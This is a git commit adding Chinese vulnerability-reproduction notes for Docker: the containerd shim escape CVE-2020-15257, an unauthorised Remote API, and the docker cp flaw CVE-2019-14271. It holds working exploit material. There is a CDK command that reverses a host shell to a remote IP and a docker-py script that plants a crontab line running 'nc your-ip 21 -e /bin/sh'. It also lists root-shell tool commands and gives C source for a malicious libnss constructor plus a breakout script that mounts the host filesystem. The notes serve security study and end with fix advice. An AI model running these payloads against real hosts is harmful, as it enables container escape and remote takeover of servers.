add Docker exp
This commit is contained in:
parent
ac93a247a1
commit
1495858e92
@ -0,0 +1,66 @@
|
||||
# Docker 容器逃逸漏洞 (CVE-2020-15257)复现
|
||||
|
||||
## 漏洞概述
|
||||
|
||||
`containerd`是行业标准的容器运行时,可作为`Linux`和`Windows`的守护程序使用。在版本`1.3.9`和`1.4.3`之前的容器中,容器填充的`API`不正确地暴露给主机网络容器。填充程序的`API`套接字的访问控制验证了连接过程的有效`UID`为0,但没有以其他方式限制对抽象`Unix`域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效`UID`为0,但特权降低)导致新进程以提升的特权运行。
|
||||
|
||||
## 影响版本
|
||||
|
||||
containerd < 1.4.3
|
||||
containerd < 1.3.9
|
||||
|
||||
## 环境搭建
|
||||
|
||||
安装有漏洞的`containerd`版本
|
||||
|
||||
这里我使用的版本是`1.2.10`
|
||||
|
||||
复现/media/640.png)
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
通过`--net=host` 作为启动参数来运行一个容器:
|
||||
|
||||
```shell
|
||||
docker run -it --net=host ubuntu:18.04 /bin/bash
|
||||
```
|
||||
|
||||
接着在容器内执行
|
||||
|
||||
```shell
|
||||
cat /proc/net/unix|grep -a "containerd-shim"
|
||||
```
|
||||
|
||||
可看到抽象命名空间`Unix`域套接字
|
||||
|
||||
复现/media/641.png)
|
||||
|
||||
Poc地址
|
||||
|
||||
> https://github.com/Xyntax/CDK/releases/tag/0.1.6
|
||||
|
||||
这里为了方便行事,我们下载解压直接把`cdk_linux_amd64`文件拷贝到容器里
|
||||
|
||||
```shell
|
||||
docker cp cdk_linux_amd64 b7bd2b523d72:/tmp
|
||||
```
|
||||
|
||||
复现/media/642.png)
|
||||
|
||||
复现/media/643.png)
|
||||
|
||||
在容器中执行`exp`,自动搜索可用的`socket`并反弹宿主机的`shell`到远端服务器,完成逃逸
|
||||
|
||||
```shell
|
||||
./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666
|
||||
```
|
||||
|
||||
复现/media/644.png)
|
||||
|
||||
## 修复建议
|
||||
|
||||
升级 `containerd` 至最新版本。
|
||||
|
||||
## 参考
|
||||
|
||||
> https://mp.weixin.qq.com/s/ieY90noArcObNgxyV2-sGA
|
99
05-Docker/Docker 未授权访问/Docker 未授权访问.md
Normal file
99
05-Docker/Docker 未授权访问/Docker 未授权访问.md
Normal file
@ -0,0 +1,99 @@
|
||||
Docker 未授权访问
|
||||
=================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
#### 1. 基础介绍
|
||||
|
||||
http://www.loner.fm/drops/\#\#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8
|
||||
|
||||
docker swarm 是一个将docker集群变成单一虚拟的docker
|
||||
host工具,使用标准的Docker
|
||||
API,能够方便docker集群的管理和扩展,由docker官方提供,具体的大家可以看官网介绍。
|
||||
|
||||
漏洞发现的起因是,有一位同学在使用docker swarm的时候,发现了管理的docker
|
||||
节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page
|
||||
not found ,然后他研究了下,发现这是 Docker Remote
|
||||
API,可以执行docker命令,比如访问 http://host:2375/containers/json
|
||||
会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps
|
||||
的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成,然后他就开始吐槽了,这尼玛太不安全了。
|
||||
|
||||
然后我想了想
|
||||
swarm是用来管理docker集群的,应该放在内网才对。问了之后发现,他是在公网上的几台机器上安装swarm的,并且2375端口的访问策略是开放的,所以可以直接访问。
|
||||
|
||||
#### 2. 测试环境配置
|
||||
|
||||
先关闭docker,然后开启:
|
||||
|
||||
sudo service docker stop
|
||||
# 绑定Docker Remote Api在指定端口(这里是2375),可以自行测试。
|
||||
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
|
||||
|
||||
参考API规范进行渗透:https://docs.docker.com/engine/reference/api/docker-remote-api-v1.23/
|
||||
|
||||
操作Docker API可以使用python dockert api 完成。
|
||||
|
||||
pip install docker-py
|
||||
|
||||
API使用参考:https://docker-py.readthedocs.io/en/stable/api/\#\#client-api
|
||||
|
||||
二、影响范围
|
||||
------------
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
|
||||
|
||||
import docker
|
||||
|
||||
client = docker.DockerClient(base_url='http://your-ip:2375/')
|
||||
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
|
||||
|
||||
写入crontab文件,成功反弹shell:
|
||||
|
||||
#### python脚本
|
||||
|
||||
https://github.com/ianxtianxt/docker\_api\_vul
|
||||
|
||||
- 安装类库 `pip install -r requirements.txt`
|
||||
|
||||
- 查看运行的容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375`
|
||||
|
||||
- 查看所有的容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -a`
|
||||
|
||||
- 查看所有镜像 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -l`
|
||||
|
||||
- 查看端口映射 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -L`
|
||||
|
||||
- 写计划任务(centos,redhat等,加-u参数用于ubuntu等) `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口` `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口`
|
||||
|
||||
- 写sshkey(自行修改脚本的中公钥) `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -k`
|
||||
|
||||
- 在容器中执行命令 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -e "id" -I 容器id`
|
||||
|
||||
- 删除容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -c -I 容器id`
|
||||
|
||||
- 修改client api版本 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -v 1.22`
|
||||
|
||||
- 查看服务端api版本 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -V`
|
||||
|
||||
#### 3.3 其他的一些exp
|
||||
|
||||
https://github.com/netxfly/docker-remote-api-exphttps://github.com/zer0yu/SomePoC/blob/master/Docker/Docker\_Remote\_API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.pyhttps://github.com/JnuSimba/MiscSecNotes/tree/master/Docker%E5%AE%89%E5%85%A8
|
||||
|
||||
#### 4. 防护策略
|
||||
|
||||
- 1.修改 Docker Remote API 服务默认参数。注意:该操作需要重启 Docker
|
||||
服务才能生效。
|
||||
|
||||
- 2.修改 Docker 的启动参数: 定位到 DOCKER\_OPTS 中的
|
||||
tcp://0.0.0.0:2375,将0.0.0.0修改为127.0.0.1 或将默认端口 2375 改为自定义端口 为 Remote API 设置认证措施。参照 官方文档 配置 Rem
|
||||
|
||||
- 3.注意:该操作需要重启 Docker 服务才能生效。 修改 Docker 服务运行账号。请以较低权限账号运行 Docker
|
||||
服务;另外,可以限制攻击者执行高危命令。
|
||||
|
||||
- 4.注意:该操作需要重启 Docker 服务才能生效。 设置防火墙策略。如果正常业务中 API
|
||||
服务需要被其他服务器来访问,可以配置安全组策略或 iptables
|
||||
策略,仅允许指定的 IP 来访问 Docker 接口。
|
BIN
05-Docker/Docker 未授权访问/resource/Docker未授权访问/media/rId26.png
Normal file
BIN
05-Docker/Docker 未授权访问/resource/Docker未授权访问/media/rId26.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 98 KiB |
Binary file not shown.
After Width: | Height: | Size: 69 KiB |
Binary file not shown.
After Width: | Height: | Size: 54 KiB |
Binary file not shown.
After Width: | Height: | Size: 231 KiB |
@ -0,0 +1,126 @@
|
||||
(CVE-2019-14271)Docker copy漏洞
|
||||
=================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Docker 19.03.1
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### Docker cp
|
||||
|
||||
Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix
|
||||
cp命令非常相似。要从容器中复制/var/logs,语法是docker cp
|
||||
container\_name:/var/logs /some/host/path。
|
||||
|
||||
从下图所示,要从容器中将文件复制出去,Docker使用了一个名为docker-tar的帮助进程。
|
||||
|
||||
Dockercopy漏洞/media/rId25.png)
|
||||
|
||||
图 1. 从容器中复制文件
|
||||
|
||||
docker-tar是通过chroot到容器,将请求的文件或目录存档,然后将生成的tar文件传递给Docker
|
||||
daemon,然后由daemon提取到主机的目标目录中。
|
||||
|
||||
注释:CHROOT就是Change
|
||||
Root,也就是改变程序执行时所参考的根目录位置。CHROOT可以增进系统的安全性,限制使用者能做的事。
|
||||
|
||||
Dockercopy漏洞/media/rId26.png)
|
||||
|
||||
图 2. docker-tar chroot到容器中
|
||||
|
||||
Chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题。如果访问的文件中有系统链接,就会解析到host
|
||||
root。因此,攻击者控制的容器就可以尝试和诱使docker
|
||||
cp在主机而非容器上读写文件。去年有许多Docker和Podman相关的系统链接CVE漏洞。通过chroot到容器的root,docker-tar可以确保所有系统链接都可以高效地解析。
|
||||
|
||||
但,chroot到容器然后从容器中复制文件可能会引发很严重的安全问题。
|
||||
|
||||
### CVE-2019-14271
|
||||
|
||||
Docker是用Golang语言编写。有漏洞的Docker版本是用Go
|
||||
v1.11编译的。在该版本中,一些含有嵌入C代码(cgo)的包会在运行时动态加载共享的库。这些包包括net和os/user,都是docker-tar使用的,而且在运行时会加载多个libnss\_\*.so库。一般来说,库是从host文件系统加载的,但因为docker-tarchroot到了容器,因此会从容器文件系统中加载库。也就是说docker-tat会加载和执行来源于容器或由容器控制的代码。
|
||||
|
||||
需要说明的是,除了chroot到容器文件系统外,docker-tar并没有被容器化。它是在host命名空间运行的,权限为root全新且不受限于cgroups或seccomp。因此,通过注入代码到docker-tar,恶意容器就可以获取host主机的完全root访问权限。
|
||||
|
||||
可能的攻击场景有Docker用户从另一个Docker处复制文件:
|
||||
|
||||
容器运行含有恶意libnss\_\*.so库的镜像
|
||||
|
||||
容器中含有被攻击者替换的libnss\_\*.so库
|
||||
|
||||
在这两种情况下,攻击者都可以获取主机上的root代码执行权限。
|
||||
|
||||
### 漏洞利用
|
||||
|
||||
为利用该漏洞,研究人员需要先创建一个恶意libnss库。研究人员随意选择了libnss\_files.so文件,下载了库函数的源码,并在代码中加入了一个函数------run\_at\_link()。研究人员还为该函数定义了constructor属性。constructor属性表明run\_at\_link函数在进程加载时会作为库的初始化函数执行。也就是说,当Docker-tar进程动态加载恶意库时,run\_at\_link函数就会执行。下面是run\_at\_link的代码:
|
||||
|
||||
#include ...
|
||||
|
||||
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
|
||||
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
|
||||
|
||||
bool is_priviliged();
|
||||
|
||||
__attribute__ ((constructor)) void run_at_link(void)
|
||||
{
|
||||
char * argv_break[2];
|
||||
if (!is_priviliged())
|
||||
return;
|
||||
|
||||
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
|
||||
fprintf(log_fp, "switched back to the original libnss_file.so");
|
||||
|
||||
if (!fork())
|
||||
{
|
||||
|
||||
// Child runs breakout
|
||||
argv_break[0] = strdup("/breakout");
|
||||
argv_break[1] = NULL;
|
||||
execve("/breakout", argv_break, NULL);
|
||||
}
|
||||
else
|
||||
wait(NULL); // Wait for child
|
||||
|
||||
return;
|
||||
}
|
||||
bool is_priviliged()
|
||||
{
|
||||
FILE * proc_file = fopen("/proc/self/exe", "r");
|
||||
if (proc_file != NULL)
|
||||
{
|
||||
fclose(proc_file);
|
||||
return false; // can open so /proc exists, not privileged
|
||||
}
|
||||
return true; // we're running in the context of docker-tar
|
||||
}
|
||||
|
||||
查/proc目录完成的。如果run\_at\_link运行在docker-tar环境下,那么目录就是空的,因为procfs挂载在/proc上只存在于容器的mount命名空间。
|
||||
|
||||
然后,run\_at\_link会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本,并触发run\_at\_link执行。
|
||||
|
||||
为简化该漏洞利用,run\_at\_link会尝试在容器的/breakout路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入,而非C语言。让逻辑的其他部分在run\_at\_link外,意味着在漏洞利用每次变化后无需重新编译恶意库,只需改变breakout二进制文件就可以了。
|
||||
|
||||
Dockercopy漏洞/media/rId29.png)
|
||||
|
||||
利用CVE-2019-14271打破Docker
|
||||
|
||||
在该漏洞视频中,Docker用户会运行含有恶意libnss\_files.so的恶意镜像,然后尝试从容器中复制一些日志。镜像中的/breakout二进制文件是一个简单的bash脚步,会挂载host文件系统到/host\_fs的容器中,并将消息写入host的/evil目录。/breakout脚本代码如下:
|
||||
|
||||
umount /host_fs && rm -rf /host_fs
|
||||
mkdir /host_fs
|
||||
|
||||
|
||||
mount -t proc none /proc # mount the host's procfs over /proc
|
||||
cd /proc/1/root # chdir to host's root
|
||||
mount --bind . /host_fs # mount host root at /host_fs
|
||||
echo "Hello from within the container!" > /host_fs/evil
|
||||
|
||||
四、参考链接
|
||||
------------
|
||||
|
||||
> https://xz.aliyun.com/t/6806
|
Loading…
x
Reference in New Issue
Block a user